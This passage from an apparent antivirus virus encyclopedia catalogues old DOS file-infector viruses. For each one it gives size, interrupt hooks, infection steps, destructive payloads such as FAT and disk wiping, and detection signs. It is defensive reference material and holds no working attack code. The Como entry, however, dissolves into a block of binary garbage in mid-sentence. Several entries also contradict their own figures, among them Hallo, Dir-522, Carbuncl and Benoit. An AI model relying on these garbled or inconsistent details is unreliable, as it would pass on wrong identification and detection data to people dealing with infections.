Table if user presses  Ctrl-Alt-Right Shift-F5."

[Data Crime]
Virus Name: Datacrime
Other names: 1168, Columbus Day
Virus Type: File Infector Virus
Virus Length: 1168 bytes.
Executing Procedure:
1) The virus checks whether it is already loaded
   resident in memory. If "No", it then loads
   itself into resident memory by hooking INT 21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
   b) It doesn't infect .EXE files.
Damage:
Virus will low-level format your hard disk after
October 12th. Detecting Method Virus infects all
.COM files between April 1st-October 12th.  After
October 12th, it  will display the following
message: "DATACRIME VIRUS Released:1 March 1989."
And it will low level format your hard disk.
Note:  Loads itself resident in memory.  An error
       message occurs if there is an I/O error
       (such as write protect).

$#Data Crime II
Virus Name: Datacrime II
Other names: None
Virus Type: File Infector Virus
Virus Length: Increases .COM and .EXE files by
              1514 bytes.
Damage:
Virus will low level format the cylinder 0 of your
hard disk after October 12th. Detecting Method
Between October 12th-31st, excluding Mondays, the
virus will display the following message:
"DATACRIME-2 VIRUS."  The virus will proceed to
low level format cylinder  0 of the hard disk.
Then the system will hang.

[Marauder]
Virus Name: Marauder
Other names: None
Virus Type: File Infector Virus
Virus Length: Increases .COM file by 860 bytes.
Executing Procedure:
1) The virus searches the current directory for a
   .COM file.  Once it locates a file it checks
   whether it is already infected by the Marauder
   virus. If "No", it then it infects the file.
2) If  Yes" then it searches for another .COM file
   to infect. b) It doesn't infect .EXE files.
3) It then executes the original file.
Damage:
The Marauder virus will overwrite your files,
on every February 2nd with the string
"=[Marauder] 1992 Hellraiser -Phalcon/Skism."
Detecting Method When the infected file is
executed, the virus will infect the first
uninfected .COM file in current directory.
On every February 2nd, the virus will overwrite
all executed files by following characters one by
one "=[Aarauder] 1992 Hellraiser - Phalcon/skism."

[Oropax]
Virus Name: Oropax
Other names: None
Virus Type: File Infector Virus
Virus Length: 2756-2800 bytes
Executing Procedure:
1) The virus checks whether it is already loaded
   resident in memory. If "No", it then loads
   itself into resident memory by hooking INT 21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
   b) It doesn't infect .EXE files.
Damage:
Infected .COM file sizes increase by 2756-2800
bytes. Detecting Method Virus will hook the
interrupt 20h, 21h, 27h.  If the system date is
after May 1, 1987 and it is an IBM  compatible
computer, interrupt 8h will be hooked. When the
virus is triggered, it will play the "Stars",
"Blue" and "Forty" songs one by one every eight
minutes.
Note:  Loads itself resident in memory.  An error
       message occurs if there is an I/O error
       (such as write protect).

[dBASE]
Virus Name: dBASE
Other names: None
Virus Type: File Infector Virus
Virus Length: 1864 bytes
Executing Procedure:
1) The virus checks whether it is already loaded
   resident in memory. If "No", it then loads
   itself into resident memory by hooking INT
   21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.
   b) It doesn't infect .EXE files.
Damage:
Every executed .COM file increases by 1864 bytes.
Virus will sometimes cause system to halt.
Detecting Method Virus will hook the interrupt
21h.   When the virus is activated, it will switch
high-byte and low-byte of every opened .DBF
data files.  Virus will also create a hidden file
- "BUG.DAT" in the root directory of every infected
.DBF file's name.
Note:  Loads itself resident in memory.  An error
       message occurs if there is an I/O error
       (such as write protect).

[Halloween]
Virus Name: Halloween
Other names: Happy Halloween
Virus Type: File Infector Virus
Virus Length: N/A
Executing Procedure:
1) The virus checks whether it is already loaded
   resident in memory. If "No", it then loads
   itself into resident memory by hooking INT 21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will
   infect any uninfected file that is executed.

Damage: Virus finds an executable file (first .EXE file then
.COM) in current directory and proceeds to infect it.  It will
display "Runtime error 002 at 0000:0511" on screen if no
uninfected files are found. Detecting Method On every Oct 31,
virus will create a 10KB-long file and display "Runtime error 150
at 0000:0AC8."

Note:
1) Loads itself resident in memory.  An error message occurs if
   there is an I/O error (such as write protect).

[Kennedy]
Virus Name: Kennedy
Other names: None
Virus Type: File Infector Virus
Virus Length: 333 bytes

Executing Procedure:
1) The virus checks whether it is already loaded resident in
   memory. If "No", it then loads itself into resident memory by
   hooking INT 21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will infect any
   uninfected file that is executed.

Damage: Virus destroys FAT. Detecting Method On June 6th,
November 8th, and November 22th, the virus will display the
following message:

    "Kennedy is dead - long live the Dead Kennedys."

Virus proceeds to destroy FAT.

Note:  Loads itself resident in memory.  An error message occurs
       if there is an I/O error (such as write protect).

[Virus-90]
Virus Name: Virus-90
Other names: None
Virus Type: File Infector Virus
Virus Length: .COM  857 bytes

Executing Procedure:
1) The virus checks whether it is already loaded resident in
   memory. If "No", it then loads itself into resident memory by
   hooking INT 21h.
2) It then executes the original file.
3) With itself loaded into resident memory it will infect any
   uninfected file that is executed. b) It doesn't infect .EXE
   files.

Damage: Infected .COM files increase by 857 bytes. Detecting
Method Virus displays: Infected" when a file is infected.

Note:
1) Loads itself resident in memory.  An error message occurs if
   there is an I/O error (such as write protect).

[Lehigh]
Virus Name: Lehigh
Other names: None
Virus Type: Parasitic Virus (infects COMMAND.COM only)
Virus Length: 555 bytes

Executing Procedure:
1) The virus checks whether it is already loaded resident in
   memory. If "No", it then loads itself into resident memory by
   hooking INT 21h.
2) Then when a disk is accessed if the COMMAND.COM is un-infected
   it will immediately infect it and execute the original file.
3) With itself loaded into resident memory it searches for the
   infect any uninfected file that is executed.  b) It doesn't
   infect .EXE files.

Damage:
1) Infects the disk s .COMMAND.COM file and increases it by 555
   bytes.
2) After the count of infection  passes over four times the
   current disk will be trashed.

[Como]
Virus Name: Como
Virus Type: File Infector Virus
Virus Length: .EXE 2,020/2,030 bytes.

PC Vectors Hooked:  None.

Executing Procedure:
1) It searches for an EXE file in the current directory.
2) Then it checks if the file has been infected. If Yes", it
   continue to search.
3) If an uninfected file is found, there is 50% probability for
   the file to get infected.

Infecting Procedure:
1) The virus infects files by AH=4B in INT 21h. when running an
   uninfected program, the program will get   infected.
2) Before infecting files, the virus hooks IqßΦ²ó╕▐±⌠*êß╞╬═╦▄╫*ÿε╤╩═╦Ñó*****ê╕╕╕╕╕╕p%)% 7xb$s=4)4jtI8-*9*ô┼╓≡╙∞Σ╜*ì▒Öñ┌⌡π÷┌╗²█╒Ñ*ëΘ*Ä╥²∩├▄√└╛ⁿ╖ú¼ª¥∙*è╖ó▓▐π*å▒╗╣│¬ùñ*ö¬ú╘╓φ╞∞╤ó*ì▓Éú²ß∙■⌠√╠α₧≥≈■ºΓÖ¡φ╦╒¼╤┌σ╓╛▌6l3+c
1*>2=^ttxl#*
&
0≈Ωß╢*Ƭ*êτ╞╦*ê┴*ÿ╘╫█┘╠▌╦ê╔ê╬┴─*ê±∞╕√≡²√*¢╚*Ç**Ç*è╪*î╪**ïσΓ╚╚╚**ì÷╕±÷■²√∞═*ê╩*ê∩·φ÷∞**ÿ±**è±═█**ê±∞╕√≈*,%)60cNxlw's;7'g%1N%65*ôⁿ▌≈┌■ΘΣ≈▄*Ĭ█├┌│╧·╥±**ì░Éúτ≡╕√▐▀*ô≈┌╛⌐ñ╖┘*Ç¿í∞╕*î≤ÿ╜┤⌐τóìπÅΣ¼Ñ┌╓º╛*Ç▒¼╬≈Ö≈╞ß÷¼⌠√╠≡╒τ╕°∩µÖ≡╫≈∞Θ*ôφ╥Ω╤vl
%Y7!x(6'
s'UFgcY7!╕½Ωⁿ╕≈■╕√═╪▄═┼╩═*ÿ┘╓▄ÿ┴▌╔*ê┴*ê─╔Ω ²Ω╕∞≡∙åσΓ╚╚╚┘╤┴╦╘╪*î╪***ä╚***ì∞²╕╕╕╕∙╕╬┴─*ê╟*ê╠╨▌ÿ█═╩╩═╞▄Ñó**êⁿ±δ≤╕*6(g7`fected. It's your task to find and delete
   them, best wishes. Press a key to execute the prompt."

Damage:  None.

Detecting Method:  Detect if  the file length increases by
2,020/2,030 bytes.

Remarks:
1) Non memory resident.
2) Before infecting files, the virus does hooks INT 24h in order
   to omit the I/O error messages.

[512]
Virus Name: 512
Virus Type: File Infector Virus
Virus Length: 512 bytes

Symptoms: None.

Executing Procedure: Virus does not contain any damage routine,
but its spreading mechanism presents a great danger to the
infected file. The beginning is saved outside the file in free
space in the allocated cluster.  When copying such a program,
this part is not copied together with the rest of the file,
causing the original program to be destroyed.

Other manifested problems to files are: when an infected file is
read with the virus already in the memory, it tests as a virus
flag only the time of the last modification (62 seconds) and not
the actual file content.  The same virus flag is used by viruses
648 and 1560 and some users have their programs immunized"
against virus 648.  The result is that, the nonsense data which
lies at the end of an infected file will be read rather than the
actual file content.

[744]
Virus Name: 744
Virus Type: Parasitic Virus
Virus Length: 744 bytes

Symptoms: Increases infected file sizes by 744 bytes. Destroyed
programs will cause computer to crash in most cases.

Damage: With the probability of 1:7 the virus will not infect
other files but will destroy the founded file.  Virus writes the
instruction JMP [BP+0] at the start of program. Virus contains an
error . It should write JMP F000:FFF0 instruction (computer
reboot - same as virus 648), which is 4 bytes from the actually
written instruction. Length of destroyed program is not changed.
This program contains a virus flag. Reads & writes using DOS
interrupts.  When virus finds a program which can be infected, it
reads and without any change writes to sector number  1 (FAT
area).  This is not done on the disk C:. It is done as a test
whether the disk is write protected or not.

[1800]
Virus Name: 1800
Other Names: Bulgarian virus, Sofia virus, Dark Avenger Virus
Type: Parasitic Virus
Virus Length: cca 1800 bytes

Symptoms: Increases infected file sizes by cca 1800 bytes (in the
case of EXE files it performs paragraph alignment).  Decreases
size of free RAM memory. Infected files contain the following
strings:

    "Eddie lives...somewhere in time!", "Diana P." a "This
     program was written in the city of Sofia (C) 1988-89 Dark
     Avenger".

Damage: Virus reads boot sector of the disk, and in it (offset
10, OEM decimal version) marks the number of programs, which are
run from the given disk MOD 16.  If it is zero (after every 16
programs!!), it overwrites random cluster on the disk with part
of its own code.  The cluster number is then stored in the boot
sector at the position at offset 8 (OEM main version). Modifies
boot sector then writes back on the disk.

[V2000]
Virus Name: V2000
Other Names: 21 century virus
Virus Type: Parasitic Virus
Virus Length: 2000 bytes

Symptoms: Increases infected .COM and .EXE file sizes by 2000
bytes. Decreases size of free RAM memory by 4KB.  Infected files
contain the following strings:

    "(C) 1989 by Vesselin Bontchev".

Damage: No damage.

[2343]
Virus Name: 2343
Other Names: Flip virus
Virus Type: Multi-partite Virus
Virus Length: 2343 bytes

Symptoms: Increases infected .COM and .EXE file sizes by 2343
bytes.  Decreases size of free RAM memory with 2864 bytes.  New
DOS function 0FE01h is implemented, when virus is active in
memory, it returns 01FEh in AX.  Word  028h in DPT sector
contains the value 0FE01h.  Flip virus has the same virus flag as
the viruses 648, 1560 (ALABAMA) and 512: it sets the number of
seconds in the file's time stamp to the nonsense value of 62.
Infected files contain the following strings:

    "OMICRON by PsychoBlast".

Damage: Under certain conditions virus "flips" the screen. If the
damage routine is active, virus contains bit reversed of screen
font 8*14 and monitors the interrupt 10h. When video mode is
changed to the mode 2 or 3 the special routine for interrupt 1Ch
is activated. All other video modes are interrupt vector 1Ch  set
to IRET instruction.  For video modes 2 and 3, the video start
address is set to 1000h.  The memory at segment 0BA00h is used as
video memory rather than 0B800h.  On every call of interrupt 1Ch
(18.2 times per second) virus copies 500 words (characters and
their attributes) from memory segment 0B800h into memory segment
0BA00h with inversion of rows & columns.

[Pojer]
Virus Name: Pojer
Virus Type: Parasitic Virus.
Virus Length: Infected EXE and COM files increase by 1919 Bytes.

PC Vectors Hooked: INT 21h and INT 24h

Executing Procedure:
1) Checks whether it already resides in memory. If not, hooks INT
   21h and resides in the highest memory, and then executes the
   host program.
2) If it already resides in the highest memory, the host program
   will be executed immediately

Infecting Procedure:
1) The virus infects files by AH=4B in INT 21h. The uninfected
   files will be infected when they are executed.
2) Before infecting files Pojer will hook INT 24h in order to
   ignore the I/O errors.

Damage:  None

Detecting Method:  Detectable if  the lengths of files increase
by 1919 Bytes.

[Drop]
Virus Name: Drop
Virus. Type: Parasitic Virus.
Virus Length: Infected EXE file sizes increase by 1130-1155
              Bytes and COM files increase by 1131 Bytes.

PC Vectors Hooked:  INT 21h

Executing Procedure:
1) Checks whether it resides in memory or not. If not, hooks INT
   21h and resides in the highest memory, and then executes the
   host program (If it already resides in the highest memory, the
   host program will be executed directly).
2) Then checks system date.  It will hook INT 21h if the date is
   "the sixth day of the month". The characters on the screen
   will drop and the system will hang when any program is
   executed.

Infecting Procedure:
1) The virus infects files by AH=4B in INT 21h. The non-infected
   files will be infected  when they are executed.
2) Before infecting files Drop will not hook INT 24h. The error
   information will appear when I/O errors occur.

Damage:  Refer to Executing Procedure 2).

Detecting Method:  Detectable if  the lengths of files   increase
by 1130-1155 Bytes.

[Ha]
Virus Name: Ha
Virus Type: Parasitic Virus.
Virus Length: Infected EXE file sizes increase by 1458-1468 Bytes
              and COM files increase by 1462 Bytes.

PC Vectors Hooked:  INT 21h

Executing procedure:
1) Detects whether it has resided in memory.  If not, hooks INT
   21h and resides in the highest memory, and then executes the
   host program.
2) If it has already resided in the highest memory, the program
   will be executed directly. Infecting Procedure:  The virus
   infects files by AH=4B in INT 21h.  The uninfected files
   will be infected when they are executed.

Damage:  None

Detecting Method: Detectable if the lengths of files increase by
1458-1468 Bytes.

[LCT]
Virus Name: Lct
Virus Type: Parasitic Virus
Virus Length: Infected COM file sizes increase by 599 Bytes .

PC Vectors Hooked: None

Executing Procedure:
1) Searches for a COM files in the current directory.
2) The virus checks  whether the file is infected or not.  If the
   file has been infected, the virus continues to search until  an
   uninfected file is found and  then infects it.  The virus
   stops searching until the last COM file in the current
   directory is infected.

Damage: The virus checks the system date. If the date is "the
25th of Dec.", every time when executing the infected files, only
the virus codes in the infected files are executed. The program then ends.
The host programs are not executed.

Detecting Method:  Detectable if the lengths of files increase
by 599 Bytes.

Remarks:
1) Non memory resident.
2) When infecting files, the virus does not hook INT 24h.  And
   the error information appears when I/O errors occur.

[NPOX-Var]
Virus Name: Npox-var
Virus Type: Parasitic Virus
Virus Length: Infected COM file sizes increase by 1000 Bytes .

PC Vectors Hooked: None

Executing Procedure:
1) The virus searches for a COM file in the current directory.
2) The virus checks whether the file is infected. If the file has
   been infected, the virus continues to search until an
   uninfected file is found and then infects it. (The virus
   infects only one file each time.)

Damage: None

Detecting Method:  Detectable if the lengths of files increase by
1000 Bytes.

Remarks:
1) Non memory resident.
2) When infecting files, the virus does not hook INT 24h.  And
   the error information appears when I/O errors occur.
3) The beginning of the virus is:
    INC         BX
    PUSH        AX
    POP         AX
    DEC         BX
    JMP         XXXX

[Bur-560h]
Virus Name: Bur-560h
Virus Type: Parasitic Virus
Virus Length: Infected COM files do not increase (Does  not
              infect EXE files). PC Vectors Hooked: None

Executing Procedure:
1) The virus searches for COM files through the current path.
2) The virus checks whether the file is infected. If the file has
   been infected, the virus continues to search until an
   uninfected file is found and then infects it (It infects only
   one file each time).

Damage:
The virus infects the files by covering up the original files, so
the lengths of the files do not increase and the functions of the
original files can not be executed.

Remarks:
1) Non memory resident.
2) When infecting files, the virus does not hook INT 24h.  And
   the error information appears when I/O errors occur.

[Benoit]
Virus Name: Benoit
Virus Type: Parasitic Virus
Virus Length:  Infected COM file sizes increase by 1183 bytes
               (Does not infect EXE files).

PC Vectors Hooked:  INT 21h

Executing Procedure:
1) after entering memory, it checks whether it resides in memory.
   If not, the virus hooks INT 21h and resides in the high memory
   and then runs the host program.
2) If the virus already resides in memory, the host programs will
   be executed directly.

Infecting procedure:
1) Infects the file by "AH=4B" in INT 21h. When an uninfected
   file is executed, it will be infected (Does not infect COM
   files).
2) When infecting files, the virus does not hook INT 24h. The
   error information will appear when I/O errors occur.

Damage: None

Detecting method: Detectable when the lengths of files increase
by 1183 bytes.

[Hallo]
Virus Name: Hallo
Virus Type: Parasitic Virus
Virus Length: Infected COM file sizes increase by 496 Bytes.
              (Does not infect EXE files.)

PC Vectors Hooked: None

Executing Procedure:
1) Searches for a COM file in the current disk.
2) Checks whether the file is infected.  If yes, continues to
   search until an uninfected file is found and then infects it.
   (Infects only one file each time). After the file is infected,
   the virus displays

   "I have got a virus for you!".

Damage: None

Detecting Method:
See if the string "I have got a virus for you!" displays when
executing programs and if the lengths of files increase by 599
Bytes.

Remarks:
1) Non memory resident.
2) When infecting files, the virus does not hook INT 24h.  Error
   message will appear when I/O errors  occur.

[Allerbmu]
Virus Name: Allerbmu
Virus Type: Parasitic Virus
Virus Length: Infected COM file sizes increase by 359 Bytes.
              (Does not infect EXE files.)

PC Vectors Hooked: None

Executing Procedure:
1) Searches for a COM file in the current directory.
2) Checks whether the file is infected.  If yes, the virus
   continues to search.
3) If an uninfected file is found, the virus will proceed to
   infect it. (The virus infects only one file each time).
4) Checks the system date no matter whether an uninfected COM
   file is found or not.  When the date is 'Monday', virus
   destroys all the files on hard disk, and then displays the
   following message:

   "+ ALLERBMU NORI +(c) 1991........................"

Damage: Refer to Executing Procedure 4).

Detecting Method:  Detectable if the lengths of files increase by
359 Bytes.

Remarks:
1) Non memory resident.
2) When infecting files, the virus does not hook INT 24h.  Error
   message will appear when I/O errors  occur.

[Findm-608]
Virus Name: Findm-608
Virus Type: Parasitic Virus
Virus Length: Infected COM file sizes increase by 608-623 Bytes.
              (Does not infect EXE files.)

PC Vectors Hooked: None

Executing Procedure:
1) Searches for a COM file in the current directory.
2) Checks whether the file is infected. If yes, continues to
   search ununtil an uninfected file is found.
3) If an uninfected file is found, the virus will proceed to
   infect it.

Damage: None

Detecting Method:  Detectable if the lengths of files increase by
608-623 Bytes.

Remarks:
1) The part of infection of the virus was badly written.  Most
   of the infected files cannot be executed normally (also the
   virus is not able to infect and damage).
2) Non memory resident.
3) When infecting files, the virus does not hook INT 24h.  Error
   message will appear when I/O errors occur.

[ARCV-2]
Virus Name: Arcv-2
Virus Type: Parasitic Virus
Virus Length: Infected EXE file sizes increase by 693 Bytes
              (Does not infect COM files).

PC Vectors Hooked: INT 24h

Executing Procedure:
1) Searches for an EXE file in the current directory.
2) Checks whether the file is infected.  If yes, the virus
   continues to search.
3) If an uninfected file is found, the virus will proceed to
   infect it (infects only one file each time).
4) Whether an uninfected EXE file is found or not,
   the virus will check the system date.  When the date is
   "April" or "the sixth of the month", the virus will display

   "Help  ..  Help  ..  I'm Sinking ........"

   on the screen.

Damage: None

Detecting Method:  Detectable if the lengths of files increase by
693 Bytes.

Remarks:
1) The part of infection was badly written.  Most of the
   infected files cannot be executed normally (also the virus is
   not able to infect and damage).
2) Non memory resident.
3) When infecting files, the virus does not hook INT 24h.  Error
   message will appear when I/O errors occur.

[Hallo-759]
Virus Name: Hallo-759
Virus. Type: Parasitic Virus.
Virus Length: Infected COM file sizes increase by 533 bytes
              (Does not infect EXE files).

PC Vectors Hooked: None

Executing Procedure:
1) Searches a COM file in the current directory.
2) Checks whether the file is infected. If yes, continues to
   search until an uninfected file is found and then infects it.
   (infects only one file each time).  After infecting, the virus
   displays the string:

   "I have got a virus for you!".

Damage: None

Detecting Method:
Detectable when the string "I have got a virus for you!" is
displayed when executing  programs and if the lengths of files
increases by 759-775 Bytes.

Remarks:
1) The infecting part was badly written.  After the infected
   files end, the system will hang.
2) Non memory resident.
3) When infecting files, the virus does not hook INT 24h.  Error
   message will appear when I/O errors occur.

[Atomic-2A]
Virus Name: Atomic-2a
Virus Type: Parasitic Virus
Virus Length: Infected COM file sizes increase by 350 Bytes
              (Does not infect EXE files).

PC Vectors Hooked: None

Executing Procedure:
1) Searches for a COM file in the current directory.
2) Checks whether the file is infected.  If yes, continues to
   search until an uninfected file is found and then infects it.
   (infects only one file each time.)

Damage: None

Detecting Method:  Detectable if the lengths of files increase by
350 Bytes.

Remarks:
1) Non memory resident.
2) When infecting files, the virus does not hook INT 24h. Error
   message will appear when I/O errors occur.

[Atomic-1B]
Virus Name: Atomic-1b
Virus Type: Parasitic Virus
Virus Length:  The lengths of the infected COM files do not
               increase (Does not infect EXE files.)

PC Vectors Hooked: None

Executing Procedure:
1) When the system date is the 1st, the virus will display

    "The Atomic Dustbin--YOUR PHUCKED!"

    and hang the system.
2) When the system date is the 26th, the following message will
   be displayed before the system hangs:

   "The Atomic Dustbin 1B -- This is almost the second step !"

3) When the system date is neither the 1st nor the 26th:
    i) Virus proceeds to search all COM files in the current
       directory;
   ii) checks whether the file is infected. If yes, continues to
       search;
  iii) if an uninfected file is found,  proceeds to infect it.
       (infects only two files each time).  After infecting,
       displays "Program execution terminated."

Damage: None

Detecting Method:
Detectable if the string "Program execution terminated" is
displayed when a  program is executed.

Remarks:
1) Non memory resident.
2) When infecting files, the virus does not hook INT 24h. Error
   message will appear when I/O errors occur.

[Atomic-1A]
Virus Name: Atomic-1A
Virus Type: Parasitic Virus
Virus Length:  The lengths of the infected COM files do not
               increase (Does not infect EXE files.)

PC Vectors Hooked: None

Executing Procedure:
1) When the system date is the 25th, the virus displays the
   string "The Atomic Dustbin 1A -- This is almost the first step
   !" and hang the system.
2) When the system date is not the 25th:
    i) it searches for a COM file in the current directory;
   ii) checks whether the file is infected. If yes, continues to
       search;
  iii) if an uninfected file is found, the virus will proceed to
       infect it (infects only two files each time).  After
       infecting, displays the string "Bad command or file name".

Damage: None

Detecting Method:
Detectable if the string "bad command or file name" is displayed
when a file is executed.

Remarks:
1) Non memory resident.
2) When infecting files, the virus does not hook INT 24h. Error
   message will appear when I/O errors occur.

[Arusiek]
Virus Name: Arusiek
Virus Type: Parasitic Virus.
Virus Length: Infected EXE and COM file sizes increase by 817
              bytes.

PC Vectors Hooked:  INT 21h and INT 24h

Executing Procedure:
1) Checks whether it already resides in the memory.  If not, it
   hooks INT 21h and implants itself in memory, and then executes
   the host program.
2) If it already resides in memory, the host program will be
   executed directly.

Infecting Procedure:
1) Infects files by AH=4B in INT 21h. Uninfected files will be
   infected when they are executed.
2) Before infecting files,  the virus will hook INT 24h in order
   to ignore I/O errors.

Damage:  None

Detecting Method:  Detectable if  the lengths of files   increase
by 817 bytes.

[Atas-3]
Virus Name: Atas-3
Virus Type: Parasitic Virus.
Virus Length: Infected EXE and COM file sizes increase by 1268
              bytes.

PC Vectors Hooked:  INT 21h and INT 24h

Executing Procedure:
1) Checks whether it resides in the memory.  If not, hooks INT
   21h and implants itself in the memory, and then executes the
   host program.
2) If it already resides in the memory, the host program will be
   executed directly.

Infecting Procedure:
1) Infects files by AH=4B in INT 21h.  Uninfected files will be
   infected when they are executed.
2) Before infecting files, the virus will hook INT 24h in order
   to ignore I/O errors.

Damage:  None

Detecting Method:  Detectable if  the lengths of files   increase
by 1268 bytes.

[ARCV-570]
Virus Name: Arcv-570
Virus Type: Parasitic Virus
Virus Length:  Infected EXE file sizes increase by 570-585 Bytes
               (Does not infect COM files.)

PC Vectors Hooked: None

Executing Procedure:
1) Searches for an EXE file in the current directory.
2) Checks whether the file is infected. If yes, continues to
   search until an uninfected file is found and then infects it
   (infects only one file each time).

Damage: None

Detecting Method: Detectable if the lengths of files increase by
570-585 Bytes.

Remarks:
1) Non memory resident.
2) When infecting files, it does not hook INT 24h. Error message
   will appear when I/O errors occur.

[Atas-3215]
Virus Name: Atas-3215
Virus Type: Parasitic Virus.
Virus Length: About 3215 bytes (there are several variations.)

PC Vectors Hooked:  INT 21h

Executing Procedure: (The virus infects files only in DOS 3.3)
1) Checks whether it resides in the memory.  If not, hooks INT
   21h and implants itself in the memory, and proceeds to execute
   the original program.
2) If it already resides in the memory, the host program will be
   executed directly.

Infecting Procedure:
1) Infects files by AH=4B in INT 21h.  Uninfected files will be
   infected when they are executed.

[Andromda]
Virus Name: Andromda
Virus Type: Parasitic Virus
Virus Length:  Infected COM file sizes increase by 1140 Bytes
               (Does not infect EXE files).

PC Vectors Hooked: None

Executing Procedure:
1) Searches for a COM files in the current directory.
2) Checks whether the file is infected.  If yes, continues to
   search ununtil an uninfected file is found.
3) Then infects it (infects only two files each time.)

Damage: None

Detecting Method:  Detectable if the lengths of files increase by
1140 Bytes.

Remarks:
1) Non memory resident.
2) When infecting files, the virus does not hook INT 24h. Error
   message will appear when I/O errors occur.

[Grunt-529]
Virus Name: Grunt-529
Virus Type: Parasitic Virus
Virus Length:  Infected COM file sizes increase by 529 Bytes
               (Does not infect EXE files).

PC Vectors Hooked: None

Executing Procedure:
1) Searches for a COM file in the current directory.
2) Checks whether the file is infected.  If yes, continues to
   search.
3) If an uninfected file is found, infects it. (infects only one
   file each time.)
4) Checks the system date no matter whether an uninfected COM
   file is found or not.  When the date is Friday and after the
   year of 1993, the virus displays the following information on
   the screen:

   "Nothing like the smell of napalm in the morning!"

Damage: None

Detecting Method:  Detectable if the lengths of files increase by
529 Bytes.

Remarks:
1) Non memory resident.
2) When infecting files, the virus does not hook INT 24h.  Error
   message will appear when I/O errors  occur.

[Ein-Volk]
Virus Name: Ein-Volk
Virus Type: Parasitic Virus
Virus Length:  Infected COM file sizes increase by 482 Bytes
               (Does not infect EXE files.)

PC Vectors Hooked: None

Executing Procedure:
1) Searches for a COM files in the current directory.
2) Checks whether the file is infected.  If yes, continues to
   search.
3) If an uninfected file is found, proceeds to infect it. Does
   not stop searching until all the COM files in the directory are
   infected.

Damage: None

Detecting Method:  Detectable if the lengths of files increase by
482 Bytes.

Remarks:
1) Non memory resident.
2) When infecting files, the virus does not hook INT 24h. Error
   message will appear when I/O errors occur.

[DOS7]
Virus Name: Dos7
Virus Type: Parasitic Virus
Virus Length:  Infected COM file sizes increase by 342 Bytes
               (Does not infect EXE files).

PC Vectors Hooked: None

Executing Procedure:
1) Searches for a COM file in the current directory.
2) Checks whether the file is infected. If yes, it continues to
   search.
3) If an uninfected file is found, the virus proceeds to infect
   it (Infects only one file each time).

Damage: None

Detecting Method:  Detectable if the lengths of files increase by
342 Bytes.

Remarks:
1) Non memory resident.
2) When infecting files, the virus does not hook INT 24h. Error
   message will appear when I/O errors occur.

[Dooms-715]
Virus Name: Dooms-715
Virus Type: Parasitic Virus
Virus Length:  Infected COM file sizes increase by 715 Bytes
               (Does not infect EXE files).

PC Vectors Hooked: None

Executing Procedure:
1) Searches for a COM file in the root directory.
2) Checks whether the file is infected.    If yes, continues to
   search.
3) If an uninfected file is found, infects it (infects only one
   file each time).

Damage: None

Detecting Method:  Detectable if the lengths of files increase by
715 Bytes.

Remarks:
1) Non memory resident.
2) When infecting files, the virus does not hook INT 24h. Error
   message will appear when I/O errors occur.

[Dir-522]
Virus Name: Dir-522
Virus Type: Parasitic Virus.
Virus Length: Infected COM file sizes increase by 1268 bytes
              (Does not infect EXE files).

PC Vectors Hooked:  INT 21h and INT 24h

Executing Procedure:
1) Checks whether it resides in memory.  If not, hooks INT 21h
   and implants itself in memory, and then executes the host
   program.
2) If it already resides in memory, the host program will be
   executed directly.

Infecting Procedure:
1) The virus infects files by "dir" command. When "dir" command
   is executed, the virus searches for an uninfected file and
   then infects it.
2) Before infecting files, the virus hooks INT 24h in order to
   ignore the I/O errors.

Damage:  None

Detecting Method:  Detectable if  the lengths of files increase
by 522 bytes.

[Compan-83]
Virus Name: Compan-83
Virus Type: Parasitic Virus.
Virus Length:  83 bytes.

PC Vectors Hooked:  INT 21h

Executing Procedure:
1) Checks whether it resides in memory. If not, hooks INT 21h and
   implants itself in memory, and then executes the host program.
2) If it already resides in memory, the program will be executed
   directly.

Infecting Procedure:
1) The virus infects files by AH=4B in INT 21h. When an infected
   EXE file is executed, the virus will create a COM file with a
   length of 83 bytes. The content of the COM file is the virus
   itself (hidden file).
2) When infecting files, the virus does not hook INT 24h. Error
   message will appear when  I/O errors occur.

Damage:  None

Detecting Method:  Detectable if  the length of a file is 83
bytes.

[ChipShit]
Virus Name: Chipshit
Virus Type: Parasitic Virus.
Virus Length:  Infected COM file sizes increase by 877 bytes
               (Does not infect EXE files).

PC Vectors Hooked:  None

Executing Procedure:
1) Checks the system date. When the date is later than Feb.
   11, 1993, the virus displays the following information on the
   screen:

    "Hej! Tu wirus chipshit! Co........"

2)  When the date is before Feb. 11th ,1993,
    a) Searches for a COM file in the current directory.
    b) Checks whether the file is infected.  If yes, it continues to
       search.
    c) If an uninfected file is found, it proceeds to infect it
       (infects only one file each time).

Damage:  None

Detecting Method:  Detectable if the lengths of files increase by
877 bytes.

Remarks:
1) Non memory resident.
2) When infecting files, the virus does not hook INT 24h. Error
   message will appear when I/O errors occur.

[Carbuncl]
Virus Name: Carbuncl
Virus Type: Parasitic Virus.
Virus Length:  622 bytes.

PC Vectors Hooked:  None

Executing Procedure:
1) With a 5/6 chance probability:
   i) Searches for an EXE file in the current directory.
  ii) Renames the file name as *.crp, and then creates a  *.bat
      file with the following contents:

                   @ECHO OFF
                   CARBUNCL
                   RENAME JEXE.CRP JEXE.EXE
                   JEXE.EXE
                   RENAME JEXE.EXE JEXE.CRP
                   CARBBUNCL

      (JEXE.EXE is the infected file, and CARBUNCL is the virus)
 iii) Repeats above procedure until all the EXE files are
      infected.
2) With a 1/6 chance probability:  Infects 5 *.CRP files.

Damage:  None

Detecting Method:  Detectable if  the lengths of files increase
by 877 bytes.

Remarks:
1) Non memory resident.
2) When infecting files, the virus does not hook INT 24h. Error
   message will appear  when I/O errors occur.

[VCL-2]
Virus Name: Vcl-2
Virus Type: Parasitic Virus.
Virus Length:  Infected COM file sizes increase by 663 bytes
               (Does not infect EXE files).

PC Vectors Hooked:  None

Executing Procedure:
1) Searches for a COM file in the  current directory.
2) Checks if the file is infected.  If yes, continues to search.
3) If an uninfected file is found, it proceeds to infect it
   (infects only two files each time).

Damage:  None.

Detecting Method:  Detectable if  the files increase by 663 bytes

Remarks:
1) Non memory resident.
2) When infecting files, the virus does not hook INT 24h.  Error
   message will appear when I/O errors occur.

[Necro]
Virus Name: Necro
Virus Type: Parasitic Virus.
Virus Length:  Infected COM and EXE file sizes increase by 696
               bytes.

PC Vectors Hooked:  None.

Executing Procedure:
1) Searches for an uninfected COM/EXE file.
2) Checks if the file has been infected.  If yes, continues to
   search.
